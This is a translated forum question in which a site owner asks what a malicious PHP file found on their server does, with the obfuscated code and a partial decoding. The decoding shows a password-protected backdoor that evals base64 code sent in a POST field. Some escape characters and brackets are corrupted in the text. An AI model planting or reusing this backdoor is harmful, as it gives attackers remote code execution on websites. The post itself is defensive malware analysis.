PHP 函数变量 - 恶意软件文件


Php Function Variable - Malware File

只是一个简单的问题....我在网站上发现了一个恶意文件(已删除(,但我想知道它在做什么。下面是代码,任何见解将不胜感激。

function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "'x63'x68'x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."'x72".$_g1qm2(114)."'x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."'x6f'x63".$_g1qm2(101)."'x64".$_g1qm2(95).$_g1qm2(52)."'x36".$_g1qm2(101)."'x73'x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("'x65'x63".$_g1qm2(97)."'x6c'x70'x65".$_g1qm2(114)."'x5f'x67'x65".$_g1qm2(114)."'x70");
$_g1qm6 = $_g1qm3("'x6c".$_g1qm2(97)."'x76'x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4('"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K'"))",'');} @_g1qm0();
}

这段代码不完整,但从我解码的内容来看是:

$log = 'prt'; 
if (!isset($_SESSION)) {    
  session_start(); 
} 
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {    
    if (isset($_POST['mtq'])) {                 
        $pt = base64_decode($_POST['mtq']);         
        eval($pt);      
        exit;   
    }
 } 
 if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) { 
    $_SESSION['log'] = $log;    exit; 
 }

所以简单来说,它从 POST 请求的 mtq 参数中查看并在 shell 中执行它。数据采用 base64 编码格式。它还在会话中存储一个变量log

$_myfunc2 = "'x63'x68'x72";它被解码为chr这是PHP中的函数,它基于ASCII代码返回字符。

$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';

看起来像 md5 哈希,但我不确定

$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."'x72".$_g1qm2(114)."'x65".$_g1qm2(118);

它是 $_g1qm3 是strrev函数

$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."'x6f'x63".$_g1qm2(101)."'x64".$_g1qm2(95).$_g1qm2(52)."'x36".$_g1qm2(101)."'x73'x61".$_g1qm2(98));

它是base64_decode((

$_g1qm5 = $_g1qm3("'x65'x63".$_g1qm2(97)."'x6c'x70'x65".$_g1qm2(114)."'x5f'x67'x65".$_g1qm2(114)."'x70");

它是preg_replace((

 $_g1qm6 = $_g1qm3("'x6c".$_g1qm2(97)."'x76'x65")

这是 eval((